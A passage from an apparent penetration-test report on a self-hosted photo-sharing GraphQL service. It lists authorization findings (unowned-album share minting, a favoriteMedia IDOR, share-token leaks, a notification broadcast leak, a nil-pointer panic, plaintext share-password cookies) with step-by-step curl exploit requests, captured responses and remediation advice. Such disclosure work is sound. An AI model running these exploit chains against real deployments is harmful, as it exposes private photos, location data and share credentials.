Impact A non-admin attacker (owning at least one album) minted a public share token for victim album 9100 which she could not read (control query returned 'forbidden'). Using the minted token anonymously: shareToken() resolved album 9100 + owner metadata; album(id:9100, tokenCredentials) returned the victim's album and its media (id, title, absolute path); GET /api/download/album/9100/high-res?token=... passed the authorization gate (HTTP 500 attempting to stream the media vs 403 without the token). In a deployment with real user photos this is anonymous cross-user exfiltration of private albums and descendants (recursive child_albums CTE) plus media.

Exploitation Steps

Step 1 — Setup (state precondition) - the attacker must own >=1 album

```
# as admin: create attacker account and attach a root album
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' -H 'Cookie: auth-token=[ADMIN_SESSION]' \
  -d '{"query": "mutation { createUser(username: \"attacker\", password: \"[ATTACKER_PASSWORD]\", admin: false) { id } } }"'
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' -H 'Cookie: auth-token=[ADMIN_SESSION]' \
  -d '{"query": "mutation { userAddRootPath(id: [ATTACKER_ID], rootPath: \"/photos\") { id title } } }"'
```

Step 2 — Control test - the attacker CANNOT read the victim album through the ownership-scoped album() query

```
curl ... -H 'Cookie: auth-token=[ATTACKER_SESSION]' \
  -d '{"query": "query { album(id: 9100) { id title } } }"'
# => {"errors":[{"message": "forbidden", "path": ["album"]}]}
```

Step 3 — Exploit - the attacker mints a share token for the victim's album 9100 (not owned)

```
curl ... -H 'Cookie: auth-token=[ATTACKER_SESSION]' \
  -d '{"query": "mutation { shareAlbum(albumId: 9100, expire: null, password: null) { id token hasPassword } } }"'
# => {"data":{"shareAlbum":{"id":"8","token":"zam6v5N1","hasPassword":false}}}
# A password-protected variant also succeeds: shareAlbum(albumId:9100, password:"[SHARE_PW]") -> token pS9LrCNv
```

Step 4 — Impact - a completely anonymous client uses the minted token to read the victim's album and media

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
  -d '{"query": "query { album(id: 9100, tokenCredentials: {token: \"zam6v5N1\", password: null}) { id title filePath media { id title path } } } }"'
# => victim album 9100 'SQLiTestAlbum' + media 9200 'FakePhoto.jpg' at /sqli-album-9100/FakePhoto.jpg
curl -s -o /dev/null -w '%{http_code}\n' 'http://host.docker.internal:8000/api/download/album/9100/high-res?token=zam6v5N1' # 500 (auth passed, media file absent on disk)
curl -s -o /dev/null -w '%{http_code}\n' 'http://host.docker.internal:8000/api/download/album/9100/high-res' # 403 (blocked without token)
```

Proof of Impact

```
// Control: attacker -> album(9100) -> forbidden (victim album not owned)
{"errors":[{"message":"forbidden","path":["album"]}]}

// Exploit: attacker mints token for victim album 9100 (not owned)
{"data":{"shareAlbum":{"id":"8","token":"zam6v5N1","expire":null,"hasPassword":false}}}

// Anonymous: minted token resolves to victim album + owner metadata
{"data":{"shareToken":{"token":"zam6v5N1","expire":null,"hasPassword":false,"album":{"id":"9100","title":"SQLiTestAlbum","filePath":"/sqli-album-9100"},"owner":{"id":"9","username":"<attacker>","admin":false}}}}

// Anonymous: full album+media read of the victim's album
{"data":{"album":{"id":"9100","title":"SQLiTestAlbum","filePath":"/sqli-album-9100","media":[{"id":"9200","title":"FakePhoto.jpg","path":"/sqli-album-9100/FakePhoto.jpg"}]}}}

// REST authorization gate: token -> 500 (auth passed); no token -> 403
```

Remediation

Fix AddAlbumShare (api/graphql/models/actions/share_token_actions.go:59-91) to scope the ownership check to the requested albumID: verify the caller owns the specific album being shared (e.g., `db.Joins("album").Where("user_id = ? AND id = ?", user.ID, albumID).First(&album)`, mirroring AddMediaShare's `Joins("Album")` pattern) — the current EXISTS counts total owned albums instead. Add a regression test where a user owning one album cannot share an album owned by another user, covering both the public and password-protected share paths.

AUTHZ-02: IDOR in favoriteMedia — any authenticated user reads arbitrary Media objects (path, EXIF/GPS, shares) by sequential ID

HIGH

OWASP A01:2025 — Broken Access Control

Location	POST /api/graphql — mutation favoriteMedia(mediaId: ID!, favorite: Boolean!) (User.FavoriteMedia at api/graphql/models/user.go:191-206; resolver api/graphql/resolvers/media.go:195)
Auth state	Any authenticated user account (valid auth-token cookie). No ownership of the target media required.
Prerequisites	Any authenticated user account (valid auth-token cookie). No ownership of the target media. Victim media must exist in the media table (ids are sequential integers).
Overview	The favoriteMedia mutation is gated only by @isAuthorized (schema.graphql:130); its implementation (User.FavoriteMedia, api/graphql/models/user.go:191-206) upserts a favorite and then returns the full Media object via a bare <code>db.First(&media, mediaID)</code> with NO <code>user_albums</code> ownership scoping — unlike the sibling <code>media(id)</code> query which enforces <code>EXISTS(SELECT * FROM user_albums WHERE ... user_id = ?)</code> . Any authenticated user can enumerate sequential integer media IDs and read arbitrary Media objects: absolute server path, EXIF camera + GPS coordinates, faces, download URLs, and (via the ungated shares field resolver) every share token attached to the media. Demonstrated live: a non-admin attacker read two victim-owned media objects (including cross-owner media 9201) with full metadata, while the scoped <code>media(id)</code> query for the same objects returned record-not-found.

Impact A non-admin attacker read the full Media objects of media owned by other users by sequential integer IDs: absolute server filesystem paths (/sqli-album-9100/FakePhoto.jpg), album titles, EXIF camera model and GPS coordinates (55.6761, 12.5683), media type/date, and — via the returned object's shares field — share-token values of the victim media (eFoTlgeT). The ownership-scoped sibling query media(id) rejects the same object, proving the favoriteMedia mutation path lacks the user_albums scoping. In a real deployment this dumps the media metadata (incl. geolocation) and share-token inventory of the entire library.

Exploitation Steps

Step 1 — Control test - the ownership-scoped media(id) query rejects the victim media

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' -H 'Cookie: auth-token=[ATTACKER_SESSION]' \
-d '{"query": "query { media(id: 9200) { id title path } }"}'
# => {"errors":[{"message":"could not get media by media_id and user_id from database: record not found","path":["media"]}]}
```

Step 2 — Exploit - favoriteMedia returns the full Media object with NO ownership scoping (bare db.First(&media, mediaID))

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' -H 'Cookie: auth-token=[ATTACKER_SESSION]' \
-d '{"query": "mutation { favoriteMedia(mediaId: 9200, favorite: true) { id title path album { id title } type date } }"}'
# => victim media 9200 'FakePhoto.jpg' path /sqli-album-9100/FakePhoto.jpg, album 9100 'SQLiTestAlbum'
# Cross-owner media 9201 (different user, album 9101 'VictimAlbum2') also fully readable
```

Step 3 — Exfiltrate sensitive metadata on victim media - EXIF camera + GPS coordinates, and share-token values

```
curl ... -d '{"query": "mutation { favoriteMedia(mediaId: 9200, favorite: true) { id exif { camera coordinates { latitude longitude } } shares { token hasPassword } } }"}'
# => {"data":{"favoriteMedia":{"id":"9200","exif":{"camera":"Pentax K-1","coordinates":{"latitude":55.6761,"longitude":12.5683}},"shares":[{"token":"eFoTlgeT","hasPassword":false}]}}
```

Step 4 — Enumerate sequential integer media IDs - each call both confirms existence and reads content

```
for id in 9199 9200 9201 9202; do
  curl ... -d '{"query": "mutation { favoriteMedia(mediaId: $id, favorite: true) { id title path } }"}'
done
# 9199/9202 -> record not found; 9200/9201 -> victim media metadata returned (existence oracle)
```

Proof of Impact

```
// CONTROL: scoped media(id) query - denied for non-owner
{"errors":[{"message":"could not get media by media_id and user_id from database: record not found","path":["media"]}]}

// EXPLOIT: favoriteMedia on victim media 9200 (owned by another user)
{"data":{"favoriteMedia":{"id":"9200","title":"FakePhoto.jpg","path":"/sqli-album-9100/FakePhoto.jpg","album":{"id":"9100","title":"SQLiTestAlbum"},"type":"Photo","date":"2026-08-30T20:10:19Z"}}}

// EXPLOIT: cross-owner media 9201 (different user, album 9101)
{"data":{"favoriteMedia":{"id":"9201","title":"CandidShot.jpg","path":"/sqli-album-9101/CandidShot.jpg","album":{"id":"9101","title":"VictimAlbum2"}}}}

// EXPLOIT: EXIF/GPS + shares disclosure on victim media
{"data":{"favoriteMedia":{"id":"9200","exif":{"camera":"Pentax K-1","coordinates":{"latitude":55.6761,"longitude":12.5683},"shares":[{"token":"eFoTlgeT","hasPassword":false}]}}}}

// Enumeration: sequential IDs 9199-9202 -> 9200/9201 readable, 9199/9202 'record not found'
```

Remediation

Scope favoriteMedia to media the caller owns: replace the bare `db.First(&media, mediaID)` (`api/graphql/models/user.go:191-206`) with a query joining `user_albums`, e.g., `db.Joins("JOIN user_albums ON user_albums.media_id = media.id").Where("user_albums.user_id = ?", user.ID).First(&media, mediaID)` — or reuse the exact ownership EXISTS used by the `media(id)` resolver. Return a record-not-found error for unowned media so the mutation also stops acting as an IDOR existence oracle. Add a regression test asserting a non-owner cannot favorite or read another user's media.

AUTHZ-03: Album.shares/Media.shares disclose every share token (raw bearer credentials) with no owner filter

MEDIUM

OWASP A01:2025 — Broken Access Control

Location	POST <code>/api/graphql</code> — <code>Album.shares</code> (<code>api/graphql/resolvers/album.go:118-127</code>) and <code>Media.shares</code> (<code>api/graphql/resolvers/media.go:107-114</code>) field resolvers, reachable via <code>album(id)/media(id)/favoriteMedia/subAlbums</code> and the anonymous <code>tokenCredentials</code> path
Auth state	Anonymous (a holder of one share token for the album) or any authenticated user/co-owner. The <code>shares</code> fields carry no <code>@isAuthorized/@isAdmin</code> directive and never check the current user or token owner.
Prerequisites	Access to one album/media as owner, co-owner, or holder of one of its share tokens; or the AUTHZ-02 favoriteMedia IDOR as any authenticated user. The schema docstring promises shares are 'owned by the logged in user' — no ownership is enforced.
Overview	The <code>Album.shares</code> and <code>Media.shares</code> field resolvers filter only by <code>album_id/media_id</code> (<code>resolvers/album.go:118-127</code> , <code>media.go:107-114</code>) and carry no <code>@isAuthorized/@isAdmin</code> directive (<code>schema.graphql:343,391</code>) — they never check the current user or the token owner. Demonstrated live: an anonymous client holding just one share token for album 9100 enumerated the album's entire share-token inventory (3 tokens across two owners, including a password-protected token), and via the favoriteMedia IDOR (AUTHZ-02) a non-admin attacker harvested the victim's media

token. Harvested token values are raw bearer credentials — the pivot then granted anonymous read of the victim's album and passed the REST download authorization gate.

Impact

An anonymous client holding a single share token harvested all share-token values of the album (3 tokens across two different owners, including a password-protected token whose value+hasPassword flag leaked). A non-admin attacker harvested the victim's media token eFoTlgeT via the favoriteMedia IDOR chain, and a harvested cross-owner token then granted anonymous read of the victim's album and passed the REST download auth gate (500 vs 403). Token values are raw 8-char bearer credentials that directly authorize GET /api/photo/{name}, /api/video/{name}, /api/download/album/... — the leak converts single-token access into full token inventory theft for the shared album subtree (recursively via subAlbums).

Exploitation Steps

Step 1 — Setup - an album with multiple share tokens from two owners

Setup: album 9100 is shared by two different owners so multiple tokens exist: the victim owner mints a token legitimately (WIAbYKGJ, public), and via the AUTHZ-01 flow another user also holds tokens for the same album (pS9LrCNv protected, zam6v5N1 public).

```
# victim owner: shareAlbum(albumId: 9100) -> token WIAbYKGJ (public)
# attacker:      shareAlbum(albumId: 9100, password: "victimpw123") -> token pS9LrCN
v (protected)
# attacker:      shareAlbum(albumId: 9100) -> token zam6v5N1 (public)
```

Step 2 — Exploit - an anonymous client holding ONE token harvests ALL tokens for the album (shares resolver filters only by album_id, never by owner/requester)

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
-d '{"query": "query { album(id: 9100, tokenCredentials: {token: \"zam6v5N1\", password: null}) { id shares { token hasPassword expire owner { id username admin } } } }"}'
# => returns ALL 3 tokens: zam6v5N1 (public), pS9LrCNv (hasPassword:true), WIAbYKGJ (public)
```

Step 3 — Chain via the favoriteMedia IDOR (AUTHZ-02) - any user can also read Media.shares of any media

```
# victim: shareMedia(mediaId: 9200, expire: null, password: null) -> token eFoTlgeT
curl ... -H 'Cookie: auth-token=[ATTACKER_SESSION]' \
-d '{"query": "mutation { favoriteMedia(mediaId: 9200, favorite: true) { id shares { token hasPassword } } }"}'
# => {"data":{"favoriteMedia":{"id":"9200","shares":[{"token":"eFoTlgeT","hasPassword":false}]}}
```

Step 4 — Pivot - the harvested cross-owner token is a raw bearer credential for the victim's album (anonymous read/download)

```
# harvested cross-owner token WIAbYKGJ used anonymously
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
-d '{"query": "query { album(id: 9100, tokenCredentials: {token: \"WIAbYKGJ\", password: null}) { id title media { id title path } } }"}'
curl -s -o /dev/null -w '%{http_code}\n' 'http://host.docker.internal:8000/api/download/album/9100/high-res?token=WIAbYKGJ' # 500 - auth passed
curl -s -o /dev/null -w '%{http_code}\n' 'http://host.docker.internal:8000/api/download/album/9100/high-res' # 403 - blocked without token
```

Proof of Impact

```
// Anonymous holder of token zam6v5N1 -> album.shares returns ALL tokens (2 owners,
1 password-protected)
{"data":{"album":{"id":"9100","title":"SQLiTestAlbum","shares":[
  {"token":"zam6v5N1","hasPassword":false,"expire":null,"owner":{"id":"0","username":
  ""},"admin":false}},
  {"token":"pS9LrCNv","hasPassword":true,"expire":null,"owner":{"id":"0","username":
  ""},"admin":false}},
  {"token":"WIAbYKGJ","hasPassword":false,"expire":null,"owner":{"id":"0","username":
  ""},"admin":false}}]}}
```

```
// Contrast: anonymous WITHOUT a token -> unauthorized
{"errors":[{"message":"unauthorized","path":["album"]}]}
```

```
// favoriteMedia chain -> media.shares leaks victim's media token
{"data":{"favoriteMedia":{"id":"9200","shares":[{"token":"eFoTlgeT","hasPassword":fa
lse}]}}}
```

```
// Pivot: harvested token WIAbYKGJ used anonymously -> download auth gate passes (50
0 vs 403)
```

Remediation

Make Album.shares and Media.shares ownership-aware: annotate the fields with @isAuthorized and restrict the resolver to return only tokens whose owner_id equals the requesting user (or, for anonymous tokenCredentials access, only the token that was used to authenticate the request). Never expose the raw token Value except to the token's owner; return hasPassword/expire metadata without the secret. Apply the same filter in the favoriteMedia path (AUTHZ-02) so share values cannot be harvested via the IDOR. Add a regression test where an anonymous holder of one token cannot read sibling token values.

AUTHZ-04: WebSocket notification broadcast has no recipient filter — scan events (incl. other users' paths) fan out to every subscriber

LOW

OWASP A01:2025 — Broken Access Control

Location	WS /api/graphql — subscription notification (api/graphql/resolvers/notification.go:11-14; fan-out at api/graphql/notification/Notification.go:58-70)
Auth state	Any authenticated user account — a non-admin subscription is sufficient (the resolver checks user != nil only).
Prerequisites	Any authenticated user account. A scan must run (admin scanAll/scanUser, periodic scan, or on-demand reprocessing) while the attacker is subscribed.
Overview	BroadcastNotification (api/graphql/notification/Notification.go:58-70) sends every scan notification to every registered listener; the listener's user field (Notification.go:13-16) is captured at registration but never consulted, and the Notification payload (models/generated.go:36-52) carries no user id. The subscription resolver (resolvers/notification.go:11-14) only enforces authentication. Demonstrated live: a non-admin user received global scanner notifications broadcast as a result of admin-triggered scanUser/scanAll calls. Code confirms that the same channel carries other users' album titles and absolute media filesystem paths ('Found new media in album X' / 'Processed media at <path>') whenever media is found or processed.

Impact A non-admin user subscribed to the notification subscription and received broadcast notifications generated by ADMIN-triggered scans of other users' roots (the attacker's own account was not involved in those scans): 'Scanning media / 2 jobs in progress', 'Generating blurhashes', 'Scanner complete'. This confirms the notification pub/sub fan-out is global — BroadcastNotification (Notification.go:58-70) iterates ALL registered listeners and never consults the listener's user field, and the Notification payload carries no user id. Code confirms the same channel broadcasts other users' album titles and absolute media filesystem paths ('Found new media in album %s' / 'Processed media at %s') whenever media is processed — in this snapshot no media churn occurred so only generic payloads were observed live.

Exploitation Steps

Step 1 — Subscribe to the notification subscription as a NON-admin user (the only gate is authentication)

```
# ws_notify.py connects with the attacker's auth-token cookie to ws://host.docker.in
ternal:8000/api/graphql
# (subprotocol graphql-ws) and sends:
{"type": "connection_init", "payload": {}}
then upon connection_ack:
{"type": "start", "id": "1", "payload": {"query": "subscription { notification { key type
header content } }", "variables": {}}}
```

Step 2 — While the attacker is subscribed, trigger scans with an admin session - scanUser on other users' roots and scanAll

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: appli
cation/json' -H 'Cookie: auth-token=[ADMIN_SESSION]' \
-d '{"query": "mutation { scanUser(userId: 1) { finished } }"}'
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: appli
cation/json' -H 'Cookie: auth-token=[ADMIN_SESSION]' \
-d '{"query": "mutation { scanUser(userId: 9) { finished } }"}'
```

Step 3 — Every broadcast notification arrives - including frames fired by the ADMIN's scans which the attacker's account had no part in

```
[subscribed]
NOTIFICATION: {header: "Scanning media", content: "2 jobs in progress\n0 jobs waitin
g"}
NOTIFICATION: {header: "Generating blurhashes", content: "Generating blurhashes for
newly scanned media"}
NOTIFICATION: {header: "Scanner complete", content: "All jobs have been scanned"}
```

Step 4 — Code evidence of the receiver-less fan-out and the cross-user payload templates

Payloads carrying other users' data are code-confirmed on the same channel (api/scanner/scanner_tasks/notification_task.go): AfterMediaFound broadcasts 'Found new media in album <title>' / 'Found <media.Path>', AfterProcessMedia broadcasts 'Processed media at <media.Path>', and scanner errors broadcast 'Error scanning media for album (id) file (<path>)'. These fire whenever media is found/processed; the fan-out itself (no recipient filter) was captured live. BroadcastNotification (api/graphql/notification/Notification.go:58-70) iterates ALL registered listeners and never consults the listener's user field, and the Notification payload carries no user id.

Proof of Impact

```
Live WS capture (non-admin 'attacker' account subscribed while admin triggered scanU
ser(1) and scanUser(9)):
[20:14:56] NOTIFICATION: {"payload": {"data": {"notification": {"key": "global-scann
er-progress", "type": "Message", "header": "Scanning media", "content": "2 jobs in p
rogress\n0 jobs waiting"}}}, "id": "1", "type": "data"}
[20:14:56] NOTIFICATION: ... {"header": "Generating blurhashes", "content": "Generat
ing blurhashes for newly scanned media"}
[20:14:56] NOTIFICATION: ... {"header": "Scanner complete", "content": "All jobs hav
e been scanned"}
```

```
Code evidence of the receiver-less fan-out (Notification.go:70-83):
for _, listener := range notificationListeners { listener.channel <- notification }
(the listener struct's user field is never consulted)
Payload templates carrying cross-user data (notification_task.go:33-52):
Header: fmt.Sprintf("Found new media in album '%s'", ctx.GetAlbum().Title)
Content: fmt.Sprintf("Found %s", media.Path) and "Processed media at %s", mediaData.
Media.Path
```

Remediation

Scope notification delivery by recipient: capture the subscribing user's ID in the listener registration (Notification.go:13-16) and filter the broadcast — deliver scan notifications only to listeners whose user matches the scan's target user/album owner, and include the target user id in the Notification payload. Ensure the subscription resolver passes the authenticated user's identity into the notification channel, and remove the listener's ability to receive global scanner activity it did not initiate.

AUTHZ-05: Nil-pointer panic in media(id, tokenCredentials) — album-type share token causes per-request server panic

LOW

OWASP A10:2025 — Mishandling of Exceptional Conditions

Location	POST /api/graphql — query media(id: ID!, tokenCredentials: ShareTokenCredentials) (api/graphql/resolvers/media.go:34 dereferences *shareToken.MediaID with no nil guard); analogous unguarded dereference of *credentials.Password in shareToken(credentials) (api/graphql/resolvers/share_token.go:55)
Auth state	Anonymous — no session required for the tokenCredentials path; an album-type share token value is the only requirement.
Prerequisites	An album-type share-token value (obtainable via share links, AUTHZ-01 minting, or AUTHZ-03 harvest). Anonymous access — no session required for the tokenCredentials path. For the analogous shareToken vector: any password-protected share token value with the password argument omitted.
Overview	The media(id, tokenCredentials) resolver (resolvers/media.go:25-41) dereferences *shareToken.MediaID at line 34 without a nil guard. When the supplied credential is an album-type share token (MediaID == nil), the dereference panics; gqlgen's per-resolver recover converts the panic to a generic 'internal system error'. The sibling album(id) resolver guards with shareToken.Album != nil (album.go:32), and the REST layer explicitly rejects type mismatches with 403 (authenticate_routes.go:94-99) — only the media resolver panics. Reproduced live with a valid album-share token: client-triggerable per-request server-side panic with no data leak — the request fails closed but enables spurious 500/'internal system error' responses and log flooding. An

analogous panic exists in `shareToken(credentials)` (`api/graphql/resolvers/share_token.go:55`), which dereferences `*credentials.Password` without a nil check when the token is password-protected and the password argument is omitted — also returning 'internal system error'.

Impact

A client-supplied credential of the wrong type triggers a server-side nil-pointer panic per request in the media resolver: the response is a generic 'internal system error' instead of a clean 403-type rejection, generating per-request error handling overhead and log noise. Demonstrated live: `media(id: 9200, tokenCredentials: {token: zam6v5N1})` -> 'internal system error' with a valid (album-type) credential, while the same query with a media-type token succeeds and the `album(id)` path cleanly rejects wrong-type tokens. Fails closed (no data leak) — a low-severity availability/log-flooding defect.

Exploitation Steps

Step 1 — Trigger the nil-pointer dereference - pass the album-type token (MediaID pointer nil) to `media(id, tokenCredentials)`

Obtain an album-type share token (e.g., via AUTHZ-01 minting, AUTHZ-03 harvest, or any shared album link). In this test: token `zam6v5N1` (album token for album 9100).

```
curl -s -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' \
  -d '{"query": "query { media(id: 9200, tokenCredentials: {token: \"zam6v5N1\", password: null}) { id title } }"}'
# => {"errors": [{"message": "internal system error", "path": ["media"]}]} (panic, recovered)
```

Step 2 — Contrast - the media resolver is the only broken path; guarded siblings behave cleanly

```
# with a MEDIA-type token for the same media the query works:
curl ... -d '{"query": "query { media(id: 9200, tokenCredentials: {token: \"eFoTlgeT\", password: null}) { id title path } }"}'
# => {"data": {"media": {"id": "9200", "title": "FakePhoto.jpg", "path": "/sqli-album-9100/FakePhoto.jpg"}}}

# album(id) with a wrong-type (media) token rejects cleanly - album.go:32 guards shareToken.Album != nil:
curl ... -d '{"query": "query { album(id: 9100, tokenCredentials: {token: \"eFoTlgeT\", password: null}) { id title } }"}'
# => {"errors": [{"message": "unauthorized", "path": ["album"]}]}

```

Proof of Impact

```
// Panic path - album-type token passed to media(id):
{"query": "query { media(id: 9200, tokenCredentials: {token: "zam6v5N1", password: null}) { id title } }"}
=> {"errors": [{"message": "internal system error", "path": ["media"]}]}

// Contrast - media-type token works:
=> {"data": {"media": {"id": "9200", "title": "FakePhoto.jpg", "path": "/sqli-album-9100/FakePhoto.jpg"}}}

// Contrast - album(id) with wrong-type (media) token rejects cleanly:
=> {"errors": [{"message": "unauthorized", "path": ["album"]}]}

// Analogous vector - shareToken(credentials) with password omitted on a protected token:
=> {"errors": [{"message": "internal system error", "path": ["shareToken"]}]}
// (shareTokenValidatePassword nil-checks first: credentials.Password == nil -> false, never panics)
```

Remediation

Add the missing nil guards: in `queryResolver.Media` (`api/graphql/resolvers/media.go:34`) check `shareToken.MediaID != nil` before dereferencing (reject type mismatches with a clean 'unauthorized' error, mirroring `album.go:32`), and in `queryResolver.ShareToken` (`api/graphql/resolvers/share_token.go:55`) guard `credentials.Password == nil` before the `bcrypt` compare, as `shareTokenValidatePassword` already does. Optionally tighten the `gqlgen RecoverFunc` to avoid logging full panic stacks for client-triggerable panics, and add regression tests for both wrong-type-token shapes.

Miscellaneous Exploitation Evidence (2 findings)

MISC-01: Plaintext share password stored in JS-readable 'share-token-pw-<token>' cookie without `HttpOnly/Secure`

MEDIUM

OWASP A07:2025 — Authentication Failures

Location	Client cookie 'share-token-pw-<token>' set at <code>ui/src/helpers/authentication.ts:17</code> (token in cookie name, plaintext password in value); consumed server-side at <code>api/routes/authenticate_routes.go:78-85</code> (<code>shareTokenFromRequest</code>)
Auth state	Anonymous attacker replaying an exfiltrated cookie; the cookie is created by a legitimate share-page user entering the share password in a browser.
Prerequisites	A password-protected share token; the legitimate share-page flow must have been used (or the attacker sets the cookie itself with a known password for a token it already holds). Demonstration uses the browser to enter the password, then reads <code>document.cookie</code> and replays the cookie from a separate anonymous client.

Overview	The SPA stores the password-protected share's credentials client-side as share-token-pw-<token>: the share token is embedded in the cookie NAME and the plaintext password in the VALUE, with no HttpOnly, no Secure, and no max-age (ui/src/helpers/authentication.ts:16-23). document.cookie returns both factors to any script on the origin, and the REST routes (api/routes/authenticate_routes.go:78-85) consume exactly this cookie value as the share's second factor — so exfiltration of one JS-readable artifact defeats the share password entirely.
Impact	After a user enters a share password, the browser stores the share token in the cookie NAME and the plaintext password in the cookie VALUE of share-token-pw-<token> — readable by any JavaScript on the origin via a single document.cookie read (demonstrated live: returned share-token-pw-l171x6ax=supersecretpw). The cookie has no HttpOnly/Secure flags and the value is exactly what the server uses to authenticate REST media access (replay of the captured cookie from an unrelated anonymous client downloaded the full 2.5MB protected album zip, while token-only requests get 403). Any script execution on the share-page origin therefore defeats the share's password protection in one step.

Exploitation Steps

Step 1 — (Precondition) Create a password-protected share token

```
curl -sS -X POST http://host.docker.internal:8000/api/graphql -H 'Content-Type: application/json' -H 'Cookie: auth-token=<ADMIN_SESSION_TOKEN>' \
  -d '{"query": "mutation { shareAlbum(albumId: 8, password: \"supersecretpw\") { id token hasPassword } } }'"
# -> token l171x6ax, hasPassword: true
```

Step 2 — Open the share page and enter the password - the SPA stores share-token-pw-<token>=<plaintext password>

Open <http://host.docker.internal:8000/share/l171x6ax> in a browser, enter the password, and submit. The SPA stores the credential via saveSharePassword (ui/src/helpers/authentication.ts:16-23):

```
// authentication.ts:17
document.cookie = `share-token-pw-${shareToken}=${password} ;path=/ ;sameSite=Lax`
// No HttpOnly, no Secure, no max-age; the share token is interpolated into the cookie NAME
```

Step 3 — Read the credential back with any script on the origin (browser console, XSS, or extension)

```
page.evaluate(() => document.cookie)
// -> "share-token-pw-l171x6ax=supersecretpw"
```

Step 4 — Prove the exfiltrated value IS the live REST credential - replay it from an unrelated anonymous client

```
curl -sS -m 30 -o /tmp/pw_dl.zip -w 'HTTP %{http_code} size=%{size_download}\n' \
  -H 'Cookie: share-token-pw-l171x6ax=supersecretpw' \
  'http://host.docker.internal:8000/api/download/album/8/original?token=l171x6ax'
# -> HTTP 200 size=2526356 (full album zip, 4 original files)

# without the cookie (token alone) the same request is forbidden:
curl -sS -m 30 -o /dev/null -w 'HTTP %{http_code}\n' \
  'http://host.docker.internal:8000/api/download/album/8/original?token=l171x6ax'
# -> HTTP 403
```

Proof of Impact

```
Live browser session (Playwright) on http://host.docker.internal:8000/share/l171x6ax
:
> page.evaluate('() => document.cookie')
Result: "share-token-pw-l171x6ax=supersecretpw"
```

The SharePage then rendered the protected album content (title "album1 - Photoview")

```
Anonymous replay of the exfiltrated cookie (separate client, no session):
$ curl -sS -m 30 -o /tmp/pw_dl.zip -w 'HTTP %{http_code} size=%{size_download}\n' \
  -H 'Cookie: share-token-pw-l171x6ax=supersecretpw' \
  'http://host.docker.internal:8000/api/download/album/8/original?token=l171x6ax'
HTTP 200 size=2526356
```

```
$ curl -sS -m 30 -o /dev/null -w 'HTTP %{http_code}\n' \
  'http://host.docker.internal:8000/api/download/album/8/original?token=l171x6ax'
HTTP 403 (token alone is forbidden)
```

Source: ui/src/helpers/authentication.ts:16-23; api/routes/authenticate_routes.go:78-85 reads
r.Cookie(fmt.Sprintf("share-token-pw-%s", shareToken.Value)) and bcrypt-compares the plaintext value.

Remediation

Stop storing share credentials in JS-readable cookies. Keep the share password only in memory for the session (or in HttpOnly, Secure, SameSite=Strict server-set cookies with a random cookie name not derived from the token), require the password server-side per request rather than trusting a client-set cookie, and never place the token itself in the cookie name. Set HttpOnly and Secure on any remaining cookie, and add a short server-side TTL for share-password proof so a captured cookie cannot be replayed indefinitely.

MISC-02: Share tokens as bearer capabilities in URLs (?token=) — captured-URL replay and 24h response caching

LOW

OWASP A04:2025 — Cryptographic Failures

Location	GET /api/photo/{name}, /api/video/{name}, /api/download/album/{album_id}/{media_purpose} with ?token= — api/routes/authenticate_routes.go:63-128, api/routes/photos.go:65; URL construction ui/src/components/photoGallery/ProtectedMedia.tsx:18-21; share pages /share/:token
Auth state	Anonymous — replay of a captured URL requires no session, no password, and no share-page visit; the token in the query string is the entire bearer capability.
Prerequisites	Capture of a single share-page media URL or the /share/<token> link (log reader, browser history/cache inspection, network logger, or a forwarded link). No session, no password, no share-page visit needed for replay.
Overview	Share tokens are bearer capabilities placed directly in URLs: the UI appends ?token=<8-char-token> to every media URL on a share page (ui/src/components/photoGallery/ProtectedMedia.tsx:21) and share pages themselves live at /share/<token>, while the REST routes (photos.go, downloads.go, authenticate_routes.go) authenticate anonymous clients purely from the query parameter. A captured URL — from history, Referer, logs, or forwarding — replays

unauthenticated to retrieve the shared media; responses are cached up to 24h with Cache-Control: private, max-age=86400, immutable.

Impact Demonstrated that the share capability is a bare bearer token embedded in URLs: captured media URLs (...?token=AXiFKEWz) were replayed by a fully anonymous client (no cookies/session) to retrieve the complete shared album (2.5MB zip of all four original files), full-resolution originals, and thumbnails; responses carry Cache-Control: private, max-age=86400, immutable so token-bearing content persists in caches for 24h; and the token additionally rides in the URL path of share pages (/share/AXiFKEWz), exposing it to browser history, Referer headers, and server access logs. Anyone who obtains a media URL — a log reader, history/cache inspector, network logger, or a recipient forwarding a link — replays it without visiting the share page or entering any password.

Exploitation Steps

Step 1 — Capture any media URL the share page generates

Visit a share page — the page URL itself embeds the capability: `http://host.docker.internal:8000/share/AXiFKEWz` (token in URL path -> browser history, Referer on any off-site resource, and server access logs which record URL paths).

```
http://host.docker.internal:8000/api/photo/thumbnail_buttercup_close_summer_yellow_jpg_wm7sbgyE.jpg?token=AXiFKEWz
http://host.docker.internal:8000/api/photo/thumbnail_lilac_lilac_bush_lilac_jpg_HJMtIxTb.jpg?token=AXiFKEWz
... (all album thumbnails)
# every media URL built by ProtectedMedia.tsx (ui/src/components/photoGallery/ProtectedMedia.tsx:18-21)
# has ?token= appended for paths matching /^\/share\/([\d\w]+)/
```

Step 2 — Replay a captured URL from an unrelated anonymous client - no cookies, no password, no share-page visit

```
# thumbnail (captured URL, byte-identical):
curl -sS -o /tmp/replay_thumb.jpg -w 'HTTP %{http_code} bytes=%{size_download}\n' \
  'http://host.docker.internal:8000/api/photo/thumbnail_buttercup_close_summer_yellow_jpg_wm7sbgyE.jpg?token=AXiFKEWz'
# -> HTTP 200 bytes=9709

# full-resolution original:
curl -sS -o /tmp/replay_orig.jpg -w 'HTTP %{http_code} bytes=%{size_download}\n' \
  'http://host.docker.internal:8000/api/photo/buttercup_close_summer_yellow_6dDsJGGc.jpg?token=AXiFKEWz'
# -> HTTP 200 bytes=23018, Content-Type: image/jpeg

# entire album as a zip (the SharePage download URL):
curl -sS -o /tmp/replay_album.zip -w 'HTTP %{http_code} size=%{size_download}\n' \
